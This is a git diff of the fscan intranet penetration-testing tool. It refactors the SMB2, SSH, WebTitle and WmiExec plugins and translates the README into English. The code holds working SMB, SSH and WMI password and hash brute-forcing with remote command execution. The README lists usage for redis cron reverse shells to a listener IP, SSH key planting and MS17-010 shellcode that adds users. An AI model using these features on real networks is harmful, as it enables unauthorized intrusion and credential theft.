func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func doWithTimeOut(info common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) {
signal := make(chan struct{})
go func() {
flag, err = SmblConn(info, user, pass, signal)
flag, err = SmblConn(info, flags, user, pass, signal)
}()
select {
case <-signal:
return flag, err
case <-time.After(time.Duration(common.Timeout) * time.Second):
case <-time.After(time.Duration(flags.Timeout) * time.Second):
return false, errors.New("time out")
}
}

View File

@ -2,39 +2,40 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"os"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/hirochachacha/go-smb2"
)
func SmbScan2(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
func SmbScan2(info common.HostInfo, flags common.Flags) (tmperr error) {
if flags.IsBrute {
return nil
}
hasprint := false
starttime := time.Now().Unix()
hash := common.HashBytes
hash := flags.HashBytes
for _, user := range common.Userdict["smb"] {
PASS:
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
flag, err, flag2 := Smb2Con(info, flags, user, pass, hash, hasprint)
if flag2 {
hasprint = true
}
if flag == true {
if flag {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
if flags.Domain != "" {
result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user)
} else {
result = fmt.Sprintf("[+] SMB2:%v:%v:%v ", info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += "hash: " + common.Hash
result += "hash: " + flags.Hash
} else {
result += pass
}
@ -42,8 +43,8 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
return err
} else {
var errlog string
if len(common.Hash) > 0 {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
if len(flags.Hash) > 0 {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, flags.Hash, err)
} else {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
}
@ -53,11 +54,11 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) {
return err
}
}
if len(common.Hash) > 0 {
if len(flags.Hash) > 0 {
break PASS
}
}
@ -65,8 +66,8 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
return tmperr
}
func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second)
func Smb2Con(info common.HostInfo, flags common.Flags, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(flags.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
@ -77,7 +78,7 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
}
initiator := smb2.NTLMInitiator{
User: user,
Domain: common.Domain,
Domain: flags.Domain,
}
if len(hash) > 0 {
initiator.Hash = hash
@ -99,13 +100,13 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
}
if !hasprint {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
if flags.Domain != "" {
result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user)
} else {
result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v ", info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += "hash: " + common.Hash
result += "hash: " + flags.Hash
} else {
result += pass
}
@ -126,51 +127,5 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
defer f.Close()
flag = true
return
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return
}
//if info.Path == ""{
//}
//path = info.Path
//f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
//if err != nil {
// return
//}
//flag = true
//_, err = f.Seek(0, io.SeekStart)
//if err != nil {
// return
//}
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return
//f, err := fs.Create(`Users\Public\Videos\hello.txt`)
//if err != nil {
// return
//}
//flag = true
//
//_, err = f.Write([]byte("Hello world!"))
//if err != nil {
// return
//}
//
//_, err = f.Seek(0, io.SeekStart)
//if err != nil {
// return
//}
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return

View File

@ -3,24 +3,25 @@ package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
"os"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
)
func SshScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
func SshScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if flags.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["ssh"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := SshConn(info, user, pass)
if flag == true && err == nil {
flag, err := SshConn(info, flags, user, pass)
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
@ -29,11 +30,11 @@ func SshScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * flags.Timeout) {
return err
}
}
if common.SshKey != "" {
if flags.SshKey != "" {
return err
}
}
@ -41,12 +42,12 @@ func SshScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func SshConn(info common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
Auth := []ssh.AuthMethod{}
if common.SshKey != "" {
pemBytes, err := ioutil.ReadFile(common.SshKey)
var Auth []ssh.AuthMethod
if flags.SshKey != "" {
pemBytes, err := os.ReadFile(flags.SshKey)
if err != nil {
return false, errors.New("read key failed" + err.Error())
}
@ -62,7 +63,7 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
config := &ssh.ClientConfig{
User: Username,
Auth: Auth,
Timeout: time.Duration(common.Timeout) * time.Second,
Timeout: time.Duration(flags.Timeout) * time.Second,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
@ -76,16 +77,16 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
defer session.Close()
flag = true
var result string
if common.Command != "" {
combo, _ := session.CombinedOutput(common.Command)
if flags.Command != "" {
combo, _ := session.CombinedOutput(flags.Command)
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
if common.SshKey != "" {
if flags.SshKey != "" {
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo))
}
common.LogSuccess(result)
} else {
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
if common.SshKey != "" {
if flags.SshKey != "" {
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port)
}
common.LogSuccess(result)

View File

@ -5,7 +5,6 @@ import (
"crypto/tls"
"fmt"
"io"
"io/ioutil"
"net/http"
"net/url"
"regexp"
@ -19,23 +18,23 @@ import (
"golang.org/x/text/encoding/simplifiedchinese"
)
func WebTitle(info *common.HostInfo) error {
if common.Scantype == "webpoc" {
WebScan.WebScan(info)
func WebTitle(info common.HostInfo, flags common.Flags) error {
if flags.Scantype == "webpoc" {
WebScan.WebScan(info, flags)
return nil
}
err, CheckData := GOWebTitle(info)
err, CheckData := GOWebTitle(info, flags)
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
if common.IsWebCan == false && err == nil {
WebScan.WebScan(info)
if flags.IsWebCan && err == nil {
WebScan.WebScan(info, flags)
} else {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
common.LogError(errlog)
}
return err
}
func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
func GOWebTitle(info common.HostInfo, flags common.Flags) (err error, CheckData []WebScan.CheckDatas) {
if info.Url == "" {
switch info.Ports {
case "80":
@ -44,26 +43,26 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
info.Url = fmt.Sprintf("https://%s", info.Host)
default:
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
protocol := GetProtocol(host, common.Timeout)
protocol := GetProtocol(host, common.Socks5{Address: flags.Socks5Proxy}, flags.Timeout)
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
}
} else {
if !strings.Contains(info.Url, "://") {
host := strings.Split(info.Url, "/")[0]
protocol := GetProtocol(host, common.Timeout)
protocol := GetProtocol(host, common.Socks5{Address: flags.Socks5Proxy}, flags.Timeout)
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
}
}
err, result, CheckData := geturl(info, 1, CheckData)
err, result, CheckData := geturl(info, flags, 1, CheckData)
if err != nil && !strings.Contains(err.Error(), "EOF") {
return
}
//有跳转
// there is a jump
if strings.Contains(result, "://") {
info.Url = result
err, result, CheckData = geturl(info, 3, CheckData)
err, result, CheckData = geturl(info, flags, 3, CheckData)
if err != nil {
return
}
@ -71,25 +70,24 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
err, result, CheckData = geturl(info, 1, CheckData)
//有跳转
err, result, CheckData = geturl(info, flags, 1, CheckData)
// there is a jump
if strings.Contains(result, "://") {
info.Url = result
err, result, CheckData = geturl(info, 3, CheckData)
err, _, CheckData = geturl(info, flags, 3, CheckData)
if err != nil {
return
}
}
}
//是否访问图标
//err, _, CheckData = geturl(info, 2, CheckData)
if err != nil {
return
}
return
}
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
func geturl(info common.HostInfo, flags common.Flags, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
//flag 1 first try
//flag 2 /favicon.ico
//flag 3 302
@ -114,11 +112,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
if common.Cookie != "" {
req.Header.Set("Cookie", common.Cookie)
}
//if common.Pocinfo.Cookie != "" {
// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
//} else {
// req.Header.Set("Cookie", "rememberMe=1")
//}
req.Header.Set("Connection", "close")
var client *http.Client
if flag == 1 {
@ -155,7 +149,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
}
result := fmt.Sprintf("[*] WebTitle: %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
if reurl != "" {
result += fmt.Sprintf(" 跳转url: %s", reurl)
result += fmt.Sprintf(" jump url: %s", reurl)
}
common.LogSuccess(result)
}
@ -188,7 +182,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(oResp.Body)
raw, err := io.ReadAll(oResp.Body)
if err != nil {
return nil, err
}
@ -216,17 +210,16 @@ func gettitle(body []byte) (title string) {
return
}
func GetProtocol(host string, Timeout int64) (protocol string) {
protocol = "http"
//如果端口是80或443,跳过Protocol判断
func GetProtocol(host string, proxy common.Socks5, Timeout int64) (protocol string) {
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
return
} else if strings.HasSuffix(host, ":443") {
protocol = "https"
return
return "http"
}
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
if strings.HasSuffix(host, ":443") {
return "https"
}
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, proxy, time.Duration(Timeout)*time.Second)
if err != nil {
return
}

View File

@ -3,11 +3,12 @@ package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"os"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
)
@ -26,8 +27,8 @@ func init() {
flag = true
}
func WmiExec(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
func WmiExec(info *common.HostInfo, flags common.Flags) (tmperr error) {
if flags.IsBrute {
return nil
}
starttime := time.Now().Unix()
@ -35,19 +36,19 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
PASS:
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := Wmiexec(info, user, pass, common.Hash)
flag, err := Wmiexec(info, flags, user, pass)
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1)
common.LogError(errlog)
if flag == true {
if flag {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
if flags.Domain != "" {
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user)
} else {
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v ", info.Host, info.Ports, user)
}
if common.Hash != "" {
result += "hash: " + common.Hash
if flags.Hash != "" {
result += "hash: " + flags.Hash
} else {
result += pass
}
@ -58,11 +59,11 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) {
return err
}
}
if len(common.Hash) == 32 {
if len(flags.Hash) == 32 {
break PASS
}
}
@ -70,10 +71,10 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
return tmperr
}
func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
func Wmiexec(info *common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) {
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
wmiexec.Timeout = int(common.Timeout)
return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil)
wmiexec.Timeout = int(flags.Timeout)
return WMIExec(target, user, pass, flags.Hash, flags.Domain, flags.Command, ClientHost, "", nil)
}
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {

330
README.md
View File

@ -1,198 +1,212 @@
# fscan
[English][url-docen]
# 1. 简介
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
# 1. Introduction
An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
# 2. 主要功能
1.信息搜集:
* 存活探测(icmp)
* 端口扫描
# 2. Functions
1.Information collection:
* Survival detection(icmp)
* Port scanning
2.爆破功能:
* 各类服务爆破(ssh、smb、rdp等)
* 数据库密码爆破(mysql、mssql、redis、psql、oracle等)
2.Blasting:
* Various service blasting(ssh、smb、rdp, etc.)
* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
3.系统信息、漏洞扫描:
* netbios探测、域控识别
* 获取目标网卡信息
* 高危漏洞扫描(ms17010等)
3.System information, vulnerability scanning:
* Netbios detection, domain control identification
* Collect NIC information
* High Risk Vulnerability Scanning(ms17010, etc.)
4.Web探测功能:
* webtitle探测
* web指纹识别(常见cms、oa框架等)
* web漏洞扫描(weblogic、st2等,支持xray的poc)
4.Web detection:
* Webtitle detection
* Web fingerprinting (cms, oa framework, etc.)
* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
5.漏洞利用:
* redis写公钥或写计划任务
* ssh命令执行
* ms17017利用(植入shellcode),如添加用户等
5.Exploit:
* Write redis public key and scheduled tasks
* Excute ssh command
* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
6.其他功能:
* 文件保存
6.Others:
* Save ouput result
# 3. 使用说明
简单用法
# 3. Instructions
Getting Started
```
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)
fscan.exe -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/16
```
其他用法
Advanced
```
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
fscan.exe -hf ip.txt (Import target from file)
fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
```
编译命令
Compile command
```
go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (可选,压缩体积)
upx -9 fscan.exe (Optional, compressed)
```
arch用户安装
`yay -S fscan-git 或者 paru -S fscan-git`
Installation for arch users
`yay -S fscan-git or paru -S fscan-git`
完整参数
Full parameters
```
Usage of ./fscan:
-br int
Brute threads (default 1)
-c string
ssh命令执行
exec command (ssh|wmiexec)
-cookie string
设置cookie
set poc cookie,-cookie rememberMe=login
-debug int
多久没响应,就打印当前进度(default 60)
every time to LogErr (default 60)
-dns
using dnslog poc
-domain string
smb爆破模块时,设置域名
smb domain
-full
poc full scan,as: shiro 100 key
-h string
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hash string
hash
-hf string
读取文件中的目标
host file, -hf ip.txt
-hn string
扫描时,要跳过的ip: -hn 192.168.1.1/24
the hosts no scan,as: -hn 192.168.1.1/24
-m string
设置扫描模式: -m ssh (default "all")
Select scan type ,as: -m ssh (default "all")
-no
扫描结果不保存到文件中
not to save output log
-nobr
跳过sql、ftp、ssh等的密码爆破
not to Brute password
-nopoc
跳过web poc扫描
not to scan web vul
-np
跳过存活探测
not to ping
-num int
web poc 发包速率 (default 20)
poc rate (default 20)
-o string
扫描结果保存到哪 (default "result.txt")
Outputfile (default "result.txt")
-p string
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
add port base DefaultPorts,-pa 3389
-path string
fcgi、smb romote file path
-ping
使用ping代替icmp进行存活探测
using ping replace icmp
-pn string
扫描时要跳过的端口,as: -pn 445
the ports no scan,as: -pn 445
-pocname string
指定web poc的模糊名字, -pocname weblogic
-proxy string
设置代理, -proxy http://127.0.0.1:8080
-user string
指定爆破时的用户名
-userf string
指定爆破时的用户名文件
-pwd string
指定爆破时的密码
-pwdf string
指定爆破时的密码文件
-rf string
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
-rs string
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent
静默扫描,适合cs扫描时不回显
-sshkey string
ssh连接时,指定ssh私钥
-t int
扫描线程 (default 600)
-time int
端口扫描超时时间 (default 3)
-u string
指定Url扫描
-uf string
指定Url文件扫描
-wt int
web访问超时时间 (default 5)
use the pocs these contain pocname, -pocname weblogic
-pocpath string
指定poc路径
-usera string
在原有用户字典基础上,新增新用户
poc file path
-portf string
Port File
-proxy string
set poc proxy, -proxy http://127.0.0.1:8080
-pwd string
password
-pwda string
在原有密码字典基础上,增加新密码
-socks5
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
-sc
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
add a password base DefaultPasses,-pwda password
-pwdf string
password file
-rf string
redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666)
-sc string
ms17 shellcode,as -sc add
-silent
silent scan
-socks5 string
set socks5 proxy, will be used in tcp connection, timeout setting will not work
-sshkey string
sshkey file (id_rsa)
-t int
Thread nums (default 600)
-time int
Set timeout (default 3)
-top int
show live len top (default 10)
-u string
url
-uf string
urlfile
-user string
username
-usera string
add a user base DefaultUsers,-usera user
-userf string
username file
-wmi
start wmi
-wt int
Set web timeout (default 5)
```
# 4. 运行截图
# 4. Demo
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
![](image/2.png)
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
![](image/3.png)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`
`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
![](image/netbios.png)
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
![](image/netbios1.png)
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
![img.png](image/live.png)
# 5. 免责声明
# 5. Disclaimer
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
为避免被恶意使用本项目所有收录的poc均为漏洞的理论判断不存在漏洞利用过程不会对目标发起真实攻击和漏洞利用。
In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
# 6. 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy)If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
@ -200,10 +214,10 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G
# 7. Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
# 8. 捐赠
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
# 8. Donation
If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
# 9. 参考链接
# 9. Reference links
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
@ -211,35 +225,35 @@ https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
# 10. 最近更新
[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。
[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。
[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。
[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。
新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。
